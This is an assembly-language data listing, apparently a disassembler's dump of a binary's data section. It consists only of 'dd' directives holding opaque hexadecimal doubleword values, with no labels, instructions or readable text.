		dd 5F696822h, 0C96FE7EFh, 990A0708h, 784E03CFh,	9F66E37Ch
		dd 84AA743h, 4D8EC7A8h,	8389F0Ch, 713A1423h, 990E70F7h
		dd 1F1A97Ah, 88E07CD0h,	989ED4A7h, 58CC1902h, 27088681h
		dd 628892FAh, 180708ECh, 75132898h, 80B1F23Bh, 0A730ED42h
		dd 61877C1Bh, 0DB27903Fh, 0A91848FEh, 51765D7Dh, 0B52ED183h
		dd 61546304h, 598E9183h, 8CE87051h, 8717F90h, 0F0AE607Dh
		dd 2257BEB1h, 0F20F34ACh, 1047F5C8h, 30855019h,	0EF58FC87h
		dd 3817A729h, 2EC8EA9Eh, 0D9B08AD8h, 0AA6205E8h, 82A43880h
		dd 0A3ED5708h, 74900345h, 6CD8E968h, 30F4753Eh,	93F75500h
		dd 69F3BB71h, 83AD00C2h, 73E89B01h, 0F0004A94h,	6357666Fh
		dd 3B21C302h, 0D71D748Eh, 0AC430F05h, 71A3067Eh, 123E10E4h
		dd 6D830A76h, 7C402C91h, 0F129ADE9h, 2B473D0h, 0C66FEC3Ah
		dd 0E6C01917h, 740E7938h, 842FA323h, 76C092C3h,	0CC654B83h
		dd 0E3801608h, 81EFD31h, 0D1F3F9A6h, 108CD1DBh,	4640383Dh
		dd 61F13074h, 931098ABh, 0C3E56308h, 1711A320h,	5ECF6018h
		dd 0CDA2F1A8h, 0F0089520h, 18CC3959h, 0C1305189h, 0B8EA0390h
		dd 8C7DE102h, 87EA320h,	0DA573EC3h, 18160311h, 4890D5C4h
		dd 0B4B8C6CFh, 582008CEh, 0D4E620D3h, 0A328E961h, 9C4119DAh
		dd 888C3337h, 28703468h, 8C0A78DEh, 0C50CBCD2h,	0DFD59062h
		dd 28471908h, 0C181C2E3h, 88AB21A3h, 1BAFF480h,	0C2C12829h
		dd 8D38881Dh, 2E540C1Ch, 3266B9C0h, 3109B640h, 0D3F835FAh
		dd 60D88C29h, 0B0F32807h, 0D9E31965h, 99DE482Dh, 0CE215109h
		dd 0E8C30893h, 0BF830971h, 822C03DFh, 3050184Bh, 6B53031h
		dd 47090C6h, 10556388h,	81F1443h, 20B124E3h, 108C2AA2h
		dd 0A4382B7Ch, 0AD079CA8h, 9C65D8CAh, 43084098h, 88CA665Ah
		dd 6318407Fh, 0BB0801E7h, 0E160CC3Eh, 8C412611h, 9702784Ah
		dd 9EE52D46h, 426E5401h, 706B7892h, 9F37D260h, 28865530h
		dd 0CA784A74h, 60146CF8h, 0B2F9B79Bh, 0A74CC48h, 148E7B14h
		dd 18D7B950h, 509D9E09h, 28C26434h, 942C0E43h, 30237218h
		dd 0D4A916ADh, 94A17FE9h, 0A3B0865Dh, 90401AABh, 1840CD8Eh
		dd 4B14D0F8h, 7786B300h, 5DC6DD1Eh, 61E6F0A7h, 0B4460869h
		dd 810433F3h, 87DC0B35h, 49F4A185h, 60E80657h, 0F932707Bh
		dd 839810A2h, 14E223D8h, 0B850FD71h, 3853C413h,	0B095804h
		dd 0A38FF933h, 1256BC30h, 497A8638h, 0EC05BBC8h, 0CF01FCCh
		dd 60E8238Fh, 0A703F4A0h, 88E83C65h, 51A1F845h,	0F5D8EC39h
		dd 707E2611h, 0C00B9838h, 48A61003h, 0C10177Ah,	540C8421h
		dd 887045A7h, 0F780DD63h, 0AF0183Fh, 2D27E806h,	3F871D8h
		dd 209260E2h, 0C6B349CFh, 1307DCA5h, 0F1BCA477h, 67753374h
		dd 0C9186A58h, 0CD700514h, 5708CC69h, 77486AE9h, 78D7E044h
		dd 9B192047h, 94A1412h,	0EA0FFC06h, 1FD2958h, 0A324401Ch
		dd 9D407E48h, 83024034h, 0C990C66Fh, 50B822E4h,	90A89C77h
		dd 9F82121Bh, 78404A9Ah, 0CC836330h, 0A8E791h, 80B16BF4h
		dd 0BCA7939Ah, 0D6FB2D01h, 94009EABh, 0C8CCF652h, 23A33086h
		dd 6E0359AEh, 858CBEAh,	0D572B461h, 74A44B14h, 8C2CE020h
		dd 0A735164Ch, 0F06A11E1h, 0D18D62Ch, 4B405B43h, 0F1C30550h
		dd 9446864Ch, 20302E74h, 0CCA56803h, 388E0883h,	149916F2h
		dd 9D044604h, 4762C833h, 61292338h, 38586364h, 332C05E6h
		dd 1AEC55B8h, 643841CCh, 5C0ACF38h, 0C0EFE78Bh,	0C005E412h
		dd 0DC474403h, 308A5457h, 0A35C6AE0h, 38AA610Ch, 4E3956F4h
		dd 7DE00FC8h, 9489184Ch, 8114A5CEh, 0E976CC3Bh,	0B4508FA9h
		dd 0E0A494FEh, 6E9E9654h, 0DE629E7h, 8331A092h,	7420831h
		dd 337E7A01h, 0C3628E78h, 10F8164Fh, 9017440h, 1C0689A3h
		dd 60B00610h, 30951A8Ah, 11D1414h, 3451A760h, 62174349h
		dd 0EA02D499h, 0A0189405h, 24FA161Fh, 707CEFA0h, 0E08251Ch
		dd 17ECB20Ah, 1200404Bh, 7B630D26h, 0D23C0092h,	0F8337424h
		dd 741C20CCh, 0CCBF5810h, 3228312h, 1B65C3FCh, 98CF1020h
		dd 903E53E8h, 0F3CAC80h, 9983945Ch, 609820AFh, 0B84308ECh
		dd 69102965h, 2C6374C0h, 0E259817Ch, 4165B802h,	68BE2B98h
		dd 5055810h, 0A6DD17A9h, 0F87FB028h, 0E9096752h, 4360BCB4h
		dd 9CC81368h, 108E6358h, 17E766ADh, 4C449D54h, 848EEA0Ch
		dd 9212603Eh, 74544145h, 3202EDBEh, 8E7C164h, 0F4483746h
		dd 50AC6477h, 5E88F40h,	6E321686h, 4934944Fh, 201C19h
		dd 0D778331Fh, 0BAF84BE3h, 0F598AB00h, 74265903h, 1C4C00F3h
		dd 0D06B2978h, 8D0609ECh, 0AC9AF84Ah, 80234228h, 18D64A5Ch
		dd 0FA50C0D7h, 0C3F56D6Eh, 70130185h, 8CD6E4C9h, 5096DA28h
		dd 25547A3h, 0BB81CB90h, 0A53A03E2h, 79182858h,	550814A4h
		dd 8018BA0Fh, 0F523891Ah, 0E1469FE3h, 0EE5A0B03h, 0C8088C68h
		dd 7123897Ah, 0EBA2F3A2h, 1B5A8CA3h, 0AE3C28D5h, 6454860Ch
		dd 0EBA507Fh, 83F59AA6h, 0A49E801Dh, 2438EC52h,	0C408A860h
		dd 20F6EBF2h, 832941A3h, 0A5823C6Eh, 0A1C29F57h, 94209A8Ch
		dd 0C102A04Eh, 9E190D2Eh, 9240FA01h, 1302784Ah,	9DDB6D76h
		dd 923DB4A2h, 150CF09Ch, 29550D8Bh, 2A3B153Ah, 0E0C150F5h
		dd 84AEE445h, 2AE81A79h, 0D9E31438h, 7A00F6EDh,	31F525BBh
		dd 0C3305163h, 2618AE5h, 2B70FC93h, 1D0B14FBh, 5A3CAC80h
		dd 0E438E78Fh, 4CF20517h, 59183056h, 920C6DAh, 2EBA398Bh
		dd 0EC327061h, 5305CF6h, 992030ECh, 0CC9A1488h,	0D8E0B4C1h
		dd 7910C084h, 9B144A85h, 46E0A0BCh, 0C1493751h,	69DA1D04h
		dd 5EC08CA9h, 616B265Bh, 0FD3A2894h, 0D3A8BDB5h, 0A8190228h
		dd 18A6996h, 23B5B71Ah,	0A2A98040h, 0C4FFA315h,	819C8711h
		dd 8F9DDC68h, 0E7AC1308h, 8F10D722h, 60CA8124h,	89D521F0h
		dd 371D724Dh, 768CDA50h, 60DB0858h, 2CFC2019h, 0A000A9F3h
		dd 0D0AB1F0Eh, 74D7F4BCh, 4540C20h, 0E9100718h,	9C952E18h
		dd 86C5CC60h, 913A663Fh, 0D84583Eh, 88B50024h, 72F5A4Dh
		dd 0A4706ECAh, 0BC8300DFh, 0C0C6EF2Eh, 1CD1848Ch, 8797F688h
		dd 30F977D1h, 0B2406A01h, 8B8F031Ah, 0E2248051h, 3C21A256h
		dd 1A809181h, 6146B207h, 0A5076F18h, 978DF7C1h,	57932AC0h
		dd 6186608Ch, 5F36453Ch, 8275141Bh, 0A33AC3DAh,	0D2210083h
		dd 0AE9D49ABh, 0A803EDF6h, 41CAA14Dh, 1EF39B35h, 9E360EF1h
		dd 0E067C0EEh, 0D2172C9Bh, 8A9C2A0Bh, 0C1F0813Eh, 9880BF33h
		dd 0E7C5C915h, 1403518Eh, 87C6A791h, 0B463C053h, 96AA0156h
		dd 0E5BB2B2Fh, 6E6BD032h, 0CE7D7100h, 3A1E1D81h, 3E87010Ah
		dd 0B11A5DA9h, 0A50BFC7Ch, 9440F41Dh, 5FDC2280h, 16F0D28h
		dd 894D412Bh, 0F84B4204h
		dd 0F23E1FDFh, 0EF60091h, 14961DDEh, 1AB10088h,	0B3359FF8h
		dd 58703D76h, 9B6CA00h,	0FACB8CE3h, 0D618178Dh,	9BD40007h
		dd 0C21C7F55h, 0A282C800h, 0BE75216Ch, 0C90E00FAh, 61EF9977h
		dd 3007CF03h, 0C8DE0F2Ah, 0DF8480DEh, 0E49B46DDh, 45AB0083h
		dd 36416AB5h, 0A801D34Fh, 0EDAA76E2h, 0A19C0F68h, 94BB0725h
		dd 4AA0838Ch, 0CC4FC4F8h, 472CBD1Dh, 0C6F51C80h, 0FDB4A95Dh
		dd 0EECF1980h, 6AD53037h, 7BBC0400h, 73E13E8Eh,	5DF70CDDh
		dd 0EFD81575h, 0E8926900h, 5ABDD093h, 0ABEC12F8h, 4A1E6Ch
		dd 141A536Eh, 0DD00425Bh, 51AEF4C8h, 3CE74D08h,	0A060CB68h
		dd 0CD5367ABh, 7500C078h, 0F8B87B5h, 37D51Bh, 2B13570h
		dd 6D5A6C3Ch, 0C4770E1Dh, 0F926F128h, 7E0308BAh, 83DC1B98h
		dd 21030BDh, 4AF81408h,	8A725CE0h, 0BA36C800h, 0EF62A76Dh
		dd 72B83BA9h, 14A1A307h, 12EAC00Bh, 0C569BB8Ah,	299F0C29h
		dd 0E00A45DDh, 5D80B699h, 82D18BD2h, 70C801F5h,	1098C311h
		dd 80328E94h, 9808863h,	67540028h, 0D700E27h, 901EB5D6h
		dd 18CF4213h, 84FC4098h, 7775FDB9h, 55E200A3h, 0DA1F2358h
		dd 14F8F3E8h, 3FC7C000h, 7B6DB8C1h, 33A613A8h, 7CEC006Bh
		dd 23C23D21h, 24070307h, 0FA903A26h, 7E6D035h, 4C482BDEh
		dd 0A1B9239Ch, 0F3815490h, 25E23D00h, 7B294D0Ch, 5F720079h
		dd 0CA03E6C8h, 0C3E86654h, 0F015AF1Dh, 4A58D500h, 11605D8h
		dd 29D2A88Ch, 0F8E5AD94h, 4028691Bh, 3974C0B0h,	76564D00h
		dd 546F8C14h, 0BB100358h, 6DDE5A5Eh, 680F7CA0h,	1FCD8200h
		dd 0DBA14993h, 27870055h, 0CE911359h, 8F0F69A7h, 0C07F8D62h
		dd 0A405A91Eh, 9256075Eh, 0D0959463h, 0BCA3510Ah, 780153F6h
		dd 2B2993Ah, 0F06E6259h, 4E00C2F2h, 4617CD8Ah, 3840E7h
		dd 0A993211Eh, 5F096E53h, 0EB3FF700h, 2A5084A1h, 0F5751E3Ch
		dd 4168C0A6h, 4BFE3070h, 0CD00DE90h, 0CA0382Bh,	0CEC9C8h
		dd 2428BCB1h, 0C28E56EBh, 886C9700h, 3202B562h,	0F6677196h
		dd 521A00F3h, 93A33455h, 0AD009510h, 4E0EA119h,	6DA085h
		dd 6289FDCEh, 81DB8C66h, 8F5B3204h, 8C040D1h, 0E22ABDh
		dd 737469B5h, 417A132Bh, 0DA242003h, 0DB8554B0h, 40F8C28Fh
		dd 7C0F7Ch, 38A7DB77h, 0D232E0E7h, 36B74307h, 18232228h
		dd 2C398029h, 5AC41450h, 0F000D0E9h, 3724CA12h,	0BA00A413h
		dd 0B5CFEB11h, 70D72B96h, 0BEB4481Ch, 74C25C00h, 0A74B6E5Fh
		dd 34817105h, 0DBC05503h, 7E4A1E8Ah, 6DF28Bh, 0EC8429F3h
		dd 0C65B5DF5h, 69000E71h, 0ADCCB127h, 77715h, 0D32F73F1h
		dd 0DFCF7923h, 27FEBF00h, 0CE81C1E3h, 8BB4865h,	4096A200h
		dd 0CC1B7CEFh, 35916800h, 70D6E189h, 2AB7149Dh,	24269834h
		dd 0F24F004Fh, 41578192h, 22E63100h, 0CC0BF651h, 0BF0C3852h
		dd 0EE3716h, 114AC205h,	0A6006D58h, 0DCB5D5E6h,	5989F0h
		dd 5D6AC765h, 6F491D39h, 0E356D009h, 0BD2C0197h, 48E5DF77h
		dd 5775E8FFh, 62613CCAh, 1BDBD780h, 6653FAA0h, 0D083701h
		dd 0C2149CB8h, 0A12BF0h, 0A73847D0h, 0BBDEB499h, 0C6E6E400h
		dd 5B63CD3h, 0DB50005Eh, 0AC939715h, 0FB0FE54Dh, 9E1B53h
		dd 897E2826h, 7A8CA07Fh, 246000D1h, 998C570h, 583EAFB7h
		dd 11FCAEEFh, 50F2EB03h, 6990801Eh, 0DA2A005Ch,	0FA362FCCh
		dd 5F00E0FEh, 570812E9h, 2F6A340h, 6BC4798h, 0E881AA39h
		dd 40F0E2C1h, 0D5C3EDCh, 48710084h, 0A1872B34h,	3B989804h
		dd 2831CA24h, 0E5AF3000h, 0E4DDACh, 999AD41Eh, 30EB396h
		dd 37762D00h, 0D41A85Dh, 0F016007Ch, 0A1ED9FA5h, 3A0EA64Fh
		dd 61C09E67h, 0BDCBF896h, 0FEEA44F4h, 33845C01h, 3ED55800h
		dd 7E242ACDh, 0F63A4B00h, 0A88932DDh, 0BAEB056Fh, 1F7B4036h
		dd 0C227C0E4h, 17182B8Eh, 0DC5B4902h, 839847D3h, 82D89DE0h
		dd 0E69A6132h, 5FEC48F1h, 0D2B10042h, 644F2CFBh, 9701AAE7h
		dd 952E6E8h, 56F0ADBCh,	40C90065h, 5E957798h, 20518B1h
		dd 3BA978DCh, 0CFBEE001h, 3EE42615h, 0EC9D0F33h, 0C4609CC0h
		dd 122D320Dh, 34FDAF0Eh, 26FF6016h, 2502018h, 5B0EFB55h
		dd 0A4802B74h, 35BDEBF3h, 610E31F6h, 0E029DCE5h, 9DE3D069h
		dd 140A026Fh, 0F82A566Bh, 478B6469h, 8D2B01EAh,	0C2DED820h
		dd 0E89DEB00h, 0A75FB535h, 12AD0064h, 0A309CD13h, 320060B2h
		dd 6B8D7A05h, 98DC7750h, 0A92E00AFh, 80FD0AF0h,	2F073D35h
		dd 0E06A5BEBh, 4603F4E0h, 54C6176Eh, 0E000AB42h, 6910BED2h
		dd 3D7C001Fh, 7F01EAEh,	770052C1h, 440959D6h, 739ED8h
		dd 36CF6F5Fh, 615B75F0h, 7872CA00h, 0ED3264FDh,	0DB7681h
		dd 47578231h, 20C99871h, 87EE4250h, 70CA307h, 1B606B66h
		dd 451E60h, 7612F8BCh, 2AFADF2h, 71C8CC0Fh, 8300DC27h
		dd 4B359317h, 58143D66h, 18845002h, 0E7402443h,	0E907B96Ch
		dd 75DB70Ch, 688AEEC0h,	0DF766Ah, 66C5AC0Dh, 8CE8E94Bh
		dd 0CD458200h, 0C897DBFCh, 1E4D0EE1h, 0F780322Ch, 0F27BE40Dh
		dd 90FAEC00h, 8CC865BBh, 0D69D2EA1h, 5C1B0018h,	2397E46Fh
		dd 0CF939900h, 8EA307ABh, 1EFF02EDh, 0A109BE78h, 58FD017Dh
		dd 0D4607250h, 68B0011h, 12B47CAFh, 0BA00517Eh,	0E1F2D1EDh
		dd 16E3741h, 98C1AE5h, 0E076D072h, 0C71FA726h, 1000EA1Dh
		dd 0BD252A05h, 74E900F8h, 0F7DB7C47h, 0C100CBA4h, 2B099C40h
		dd 0B0A076h, 18F673D8h,	8C53EB92h, 55F2C500h, 0B84B1D81h
		dd 2B150059h, 0BE489AC8h, 6D00CE71h, 0FC5726DFh, 77B60723h
		dd 37753802h, 39510E83h, 9E04E6Eh, 1101A801h, 29F9F377h
		dd 0A8476ACCh, 0D30ACE00h, 0BAC60767h, 0B031B550h, 0C3CE4F4h
		dd 0D1CA440Fh, 0FC6D409Fh, 3FD5AF95h, 0D9287BA8h, 637D0E9Ch
		dd 0E7E086EFh, 0F815D1EEh, 0E4844500h, 5405FEF7h, 30763F5Ch
		dd 0E25B4B80h, 5D17C86Bh, 9D8EBA01h, 22513391h,	585EC283h
		dd 5F80F2E8h, 5D009207h, 0CF49ECE4h, 13281127h,	1D67DB9Fh
		dd 7F46C011h, 0F5131802h, 56F29101h, 1AE9E855h,	0FDA7802Bh
		dd 89004715h, 0B898D2B3h, 72603132h, 8D6A1D8Eh,	36017E5Bh
		dd 751B56B2h, 78108094h, 3C1DD4D1h, 77A7E5Ah, 0C0B98D59h
		dd 0A8C7B37Dh, 0E633700Eh, 0A263E179h, 0A0C7E58Fh, 0F0931565h
		dd 0A19E008Ch, 683373B7h, 3B005498h, 0B83504C2h, 901CE07Bh
		dd 0B21B0004h, 0C7702CAAh, 0E10005D9h, 9E3EBB75h, 0E33BFFh
		dd 54570A7Bh, 723D136Ch, 86181500h, 3387BF4Bh, 6823288Eh
		dd 8AFA00D4h, 576E8545h, 4700A220h, 0F93AD624h,	0D77F35h
		dd 373D8C82h, 0BDC541FCh, 0BE560600h, 9903AD29h, 0BFB701C2h
		dd 0B8FFEBD5h, 4417E4A2h, 85327100h, 956D11EEh,	1B790037h
		dd 4FD7DA55h, 4600763Ch, 7D849014h, 0E83F487Ah,	423A070Ah
		dd 0C060D7C3h, 0FDFC8782h, 0F671BD00h, 775C662h, 88040022h
		dd 0ED1383E9h, 0FC006609h, 0B31BA8B2h, 0E0FB6Ah, 9FA616BBh
		dd 0B7B92229h, 9CCEAB00h, 0BFC7D026h, 4FF882h, 0F2B1E07Ah
		dd 8B95B0FAh, 93231E00h, 0DB3077A0h, 0A6462459h, 80211C3Bh
		dd 4A90A9D5h, 0B57A8795h, 91402D60h, 0FE5F3Ch, 2605FBD0h
		dd 0FA4D38F2h, 0A45EAD1Ch, 8053B9C0h, 0A5F628h,	177B6210h
		dd 7DEC3DBBh, 105130Fh,	79DAC0B2h, 48938F0h, 4CD68FBEh
		dd 352507AEh, 2E474297h, 0DE260C0h, 69C400D5h, 27AFC1EFh
		dd 49001F79h, 7C17C0BFh, 389ECBEEh, 0FB014B95h,	0BE59A630h
		dd 33F6CC35h, 13163D0Fh
		dd 80C26EEBh, 4AF7041Bh, 7C64E6D5h, 91976041h, 0D90FBCB5h
		dd 0C9ED3530h, 76A6309h, 554816D7h, 17BBE0A5h, 0A6013578h
		dd 182F8191h, 0F03050ECh, 0CDA9003Ch, 4787B6FDh, 7400071Eh
		dd 0C5C86168h, 0FC65504Ch, 909F892h, 8483BD98h,	5F6D0F00h
		dd 570359FFh, 0D1026E6Ch, 0FE1CE819h, 61200076h, 0B4A5CCD2h
		dd 4A00D521h, 39E6797Ah, 627E5D42h, 0F403C853h,	29F06EC0h
		dd 1E54B00h, 0C41C2327h, 427D009Bh, 0EA7A67F7h,	0F2E00D25h
		dd 0C502107h, 2047993Dh, 7A6351C0h, 1F4C0E80h, 7620D845h
		dd 66B18FBDh, 50FFB91Ch, 0A72BBE00h, 1473FD05h,	8C147A81h
		dd 98854F01h, 0C8E8C3B1h, 0BA00C2BBh, 8D1FC4EAh, 3F18E1h
		dd 5A95829Eh, 22F4533h,	5ED3F400h, 0BBD7D28Fh, 0E0463E1Bh
		dd 2BD91080h, 4F0F05F0h, 81AF4C3Dh, 95AC2398h, 4E200162h
		dd 10E013h, 6DEBA955h, 51299A4Eh, 0E818D0E4h, 0AD7006C4h
		dd 46560095h, 0F2672339h, 1403529Eh, 7AA750FDh,	0DAAB98C6h
		dd 0C812004Ch, 631640D1h, 1800572Eh, 428FA16Dh,	7F15B54h
		dd 0EC8A6573h, 5EA951BEh, 678930AAh, 1323E11Ch,	7A339940h
		dd 0D3F8C4h, 24821F54h,	629FB288h, 0E2797603h, 0D8174A28h
		dd 5C2C60h, 511113B5h, 0A321D212h, 749ABD00h, 373E31F8h
		dd 0FB0700CCh, 0E71CA257h, 0D00A365h, 0E6D7A05Eh, 1F180553h
		dd 0E5D652h, 0CA4647F8h, 1900E93Eh, 6725D21Dh, 1E0539h
		dd 0A4A02D3Bh, 211CC911h, 808EDD38h, 8C668D6Eh,	0D4CB4Eh
		dd 35AC5134h, 61961865h, 1CA6FC07h, 0A7AF0B30h,	0C150D56Bh
		dd 6AB8B4h, 4FD117F9h, 0E1E8C46Ch, 47CFC900h, 0F2338806h
		dd 26E707F0h, 4765BDA1h, 0CC404FE8h, 98AD0146h,	7200BFE2h
		dd 2BA39762h, 0FA8FDFh,	53A8FEB1h, 5FD6DB67h, 20573E30h
		dd 0A22A09h, 227AC0AEh,	95FA3B3Ah, 0DA006DFEh, 1CA1DD11h
		dd 7F321037h, 0F0EC00A3h, 0B143C5BFh, 71014A99h, 0D975056Ch
		dd 508093FDh, 47B3D16Fh, 4578F49Ah, 0CB70AA00h,	15FC9421h
		dd 0CDD7A1D7h, 35DC720h, 1B747977h, 68001D3Dh, 548334FCh
		dd 141AF20h, 0EF2F95B4h, 0C436FB31h, 5C00F290h,	5F137CA9h
		dd 0E042A5h, 8BB3C991h,	1CEED93Bh, 65839A00h, 2693AFDDh
		dd 910200F3h, 0A2D28B4Eh, 490F0FA0h, 28CE075h, 0C0B9B886h
		dd 1B3F2EFh, 69BBBACEh,	80D625DEh, 179B8B20h, 969F1Ch
		dd 1A7FC17Ah, 0F1EDF9B6h, 30D4B300h, 16293EECh,	0B0AE7A4Dh
		dd 5967C68h, 0A99FC588h, 0B0B02038h, 0DB0F8DF9h, 8095E89Ch
		dd 153F21DDh, 0CEF107CAh, 226ED4EBh, 84C0C9E5h,	96001625h
		dd 6C0F50A3h, 8166BCh, 0CC827490h, 0EBCD3FB0h, 0F7F96900h
		dd 641F0CBBh, 418A00E7h, 973E1CDBh, 37009CC3h, 881BAB8Ch
		dd 3E3D816h, 1976465Eh,	0F2B043DEh, 8700A403h, 703F925Ah
		dd 0CA649h, 10CD331Eh, 8576C214h, 9A654500h, 39849E9Bh
		dd 0F16E490h, 620B8253h, 1E0B685h, 7C2112A1h, 4C59F0A9h
		dd 0CCD9EE00h, 1F859FDAh, 0E035006Ah, 512890CEh, 53B0AE14h
		dd 0D361A07h, 876025ABh, 3CF331C1h, 0A4809D75h,	13CCFC68h
		dd 4100ED82h, 318ADF73h, 2CC315h, 6A112805h, 0D307AECDh
		dd 5100F690h, 1CBFCBB9h, 1DAF33D6h, 42287CB3h, 6DCAC9BEh
		dd 84A284E0h, 8138A105h, 0EE810A9Ch, 0C48398A9h, 0E0671025h
		dd 0AACE57E0h, 2DEA3B04h, 3480CA42h, 301333C6h,	2C36A163h
		dd 0FF0A5BF7h, 0EC713DFEh, 0C16FC28h, 28000444h, 10E5454Eh
		dd 0A489A078h, 0D0510E64h, 5A018D7Fh, 0E4D948C3h, 1490F3F4h
		dd 0B1A24400h, 0B50C827Ch, 88740002h, 0D44BC041h, 1D003E70h
		dd 3C22E9CFh, 8DA7B7h, 1BA0A6CBh, 0DDFFE21Eh, 7B1DD907h
		dd 88F09EB9h, 9FCED19h,	650E1CDAh, 707C4B07h, 0D76CF964h
		dd 99F18A00h, 0B3E7FE1Fh, 0AB5E00BBh, 8740392Dh, 653CB6ECh
		dd 6A1B007Dh, 4E3D8DD9h, 427F00F4h, 2E6EE164h, 44589D93h
		dd 9A0D0114h, 8CD40A36h, 294FF4h, 9C056472h, 634321F7h
		dd 117BFC00h, 4575C8C6h, 0BD131C51h, 5F9E83C9h,	90DF5E16h
		dd 1B651267h, 4255E900h, 9363F9F5h, 0C57C004Eh,	0D06D0660h
		dd 19716E74h, 0DB020403h, 0CA3E0EFAh, 8E6D603Bh, 9B5E02C7h
		dd 0ACE095Fh, 87048860h, 1828FB00h, 0CDB77E2Fh,	60AC0062h
		dd 3868E53Ah, 0A20032DEh, 0F8159C7Ah, 3FAB202h,	1E9D5118h
		dd 32E07F45h, 8D00ADA9h, 0DCFB1382h, 0AC2F1Ch, 2956C3B3h
		dd 0FE3C5BA6h, 15006176h, 0B54832E4h, 75931A2h,	0A3AF5C68h
		dd 24F321CBh, 4475C4B0h, 0AB83CD01h, 1449983Dh,	0E0EC70h
		dd 9381EA4h, 3746C76Fh,	486EB800h, 19E598BBh, 44E0345h
		dd 9D17A1E3h, 6FC243F7h, 3BFC09B0h, 80FB553Fh, 98EAD535h
		dd 2C8145h, 1BEF48ADh, 1FBFD2B9h, 6A6E5304h, 58C06D5Eh
		dd 3F5C31BDh, 0EC80C987h, 0AD9D773Dh, 5700D8BAh, 81B6499Ah
		dd 0BF5F4Fh, 0D194432Ah, 618819B9h, 0E05AF809h,	4F740059h
		dd 12FFEB10h, 8323AEh, 0BB47C7ADh, 72009965h, 28ECF570h
		dd 1F64D70Eh, 89B1B7A3h, 0CC809A37h, 615FEECEh,	67D18A00h
		dd 18FCC2C5h, 41A61CF0h, 53790FD7h, 3768D6A0h, 5B002C92h
		dd 74EFCC57h, 0DD4409h,	344104E4h, 0A672A7F8h, 0B8AEE001h
		dd 0A3C25365h, 2459D020h, 0ED83541h, 0E62043AFh, 0C14D9C67h
		dd 2FF07A02h, 0DDB72774h, 8203B0E0h, 0A95AC700h, 0DB936F61h
		dd 0BB0B0710h, 0C0BA25CFh, 0F3D7E5F6h, 30796202h, 6049C2BCh
		dd 24B30C5Dh, 7AD27FCh,	5703578Ah, 0C6AE1034h, 4100728Eh
		dd 0FFC7F450h, 32CC9174h, 701EE120h, 0F4D21FC1h, 28004BAFh
		dd 0E59AC98Fh, 54EE6Ch,	2991A7EFh, 64B986B5h, 4781FA00h
		dd 83609B37h, 0DAEE3F63h, 7FDB48h, 21D4B654h, 4D58E871h
		dd 0B4ECED00h, 0E385F09Dh, 79F833h, 4F97011Fh, 0AF1C581Bh
		dd 5E5B7D00h, 18EFFC5Dh, 0F331FE70h, 0D8CBDA94h, 0BCDA9F05h
		dd 0D59480B5h, 6500E207h, 1796F813h, 1D42E4Ch, 86BB23AFh
		dd 0F08DDDA7h, 47E821CCh, 0D13A1A00h, 0BC9594Eh, 340D005Ch
		dd 0A53E2B0h, 50B88D65h, 4AEDAB00h, 0B791A9ADh,	0DC801DF9h
		dd 8A0780CDh, 5E2F327Ch, 1AD69916h, 92A06400h, 7EDED5h
		dd 42E70C8Fh, 9B0A3940h, 2ACC9500h, 1D317BFAh, 0DFEA16F0h
		dd 1EA0019h, 0A6E3A468h, 0C648h, 50EA34Ah, 1C22F9DFh, 0E6625F5h
		dd 45E4EBA8h, 0ABBCC0D0h, 0A0C910Dh, 108832AEh,	9773065Dh
		dd 0DAB3F75Fh, 6B4E2A03h, 0FB8A19E4h, 49F3A0EFh, 4C650074h
		dd 0E3FDCA5Eh, 9E00F252h, 0BF6A55FEh, 3FDEB138h, 3FCC85Ch
		dd 772706FDh, 990373F5h, 6D72E687h, 981100ADh, 6ED8AEDDh
		dd 0E4C1EB26h, 104BA838h, 0F27787C4h, 2C2D00D3h, 413D3493h
		dd 8F85201h, 0C742548h,	48C71439h, 0AEC90726h, 41E4929Bh
		dd 31730128h, 6906EB30h, 249E1290h, 0F1697AE8h,	1143F4h
		dd 2F920EE4h, 0A6741230h, 0CB00B390h, 8E10B2Ah,	0F06F48h
		dd 5185E59Dh, 524EC233h, 0D294C701h, 7C1F3CA1h,	2018FCh
		dd 0DBF1A5A8h, 0ADCE8E90h, 0F803D2B8h, 41F73475h, 728B8007h
		dd 0A62C0AB9h, 7C05A5Eh, 4142DCF2h, 0E8B2AFCEh,	0E90413F3h
		dd 530FA9Ch, 51100C80h,	19783BE7h, 0D8057FDCh, 749F00Ch
		dd 30BD4CA4h, 7DDF09B6h, 47E3B316h, 8CF20040h, 5DE981Bh
		dd 0F3E7C1F4h, 798400Bh, 380B9A0h, 4E680F0Ch, 0BF88C2h
		dd 0F830989Ch, 65831CFBh, 0AD003F7Eh, 0B463AF7Dh, 3E992884h
		dd 7B0E22A0h
		dd 7F9E0425h, 1EFD8F01h, 80EF5539h, 2656F5D1h, 9A266AAh
		dd 11DB3503h, 0DE0E48A0h, 980097D0h, 510BC89Fh,	30DC05A5h
		dd 9920764Ch, 0E307C703h, 96E94D94h, 0CBAB1C80h, 0B880007Eh
		dd 0D477637h, 98008639h, 0DFA5E538h, 32D6644h, 0AED2A609h
		dd 76C0016Eh, 5C00D349h, 86B29F78h, 3F808E03h, 0F0897BEDh
		dd 0C900C302h, 1DA7E36Bh, 0AD0EF02h, 0E07648A0h, 1FADF2Eh
		dd 0BD938099h, 0E8192FB9h, 7A000F5Bh, 95666A25h, 0BC35B0h
		dd 0D7060B48h, 7B083830h, 0F900C47Ch, 1E39423Dh, 6D3BE5h
		dd 3463D26Ch, 7FC8F68Bh, 112E9600h, 4D512C4Fh, 0B9500033h
		dd 0A1A419B8h, 4B30E5FDh, 0DD29D09Eh, 961C1CD8h, 3186401Fh
		dd 0CCDF34AFh, 3B6C5700h, 0CA0FA009h, 0AC7C48h,	4D4483C5h
		dd 0D3D2253h, 0D9009CF8h, 3C14382Bh, 6EE326h, 98314A63h
		dd 0FAA0922Ch, 354BE100h, 67798B51h, 6B880093h,	2213594Dh
		dd 300060DFh, 0BA8CE544h, 7180169h, 282E7539h, 5C46433Dh
		dd 71E2000h, 0E45D33DAh, 602504D1h, 0C0C95B96h,	8E15DB0Fh
		dd 51B328C1h, 0C5C82A44h, 8A53016Bh, 0ACDBCD6Ch, 0F784FCA0h
		dd 505BE230h, 2276C5h, 0C65EE371h, 0DBB7A985h, 61D3F7Ch
		dd 98308E99h, 0F6A4BAE4h, 0CCAD03E2h, 0CE1DC319h, 20DC36A7h
		dd 0A5146600h, 232D42E6h, 72910024h, 566B6A28h,	1801618Fh
		dd 60F5FC4h, 0F8BF5ABBh, 8148B481h, 80AB0A5Ch, 75A58F08h
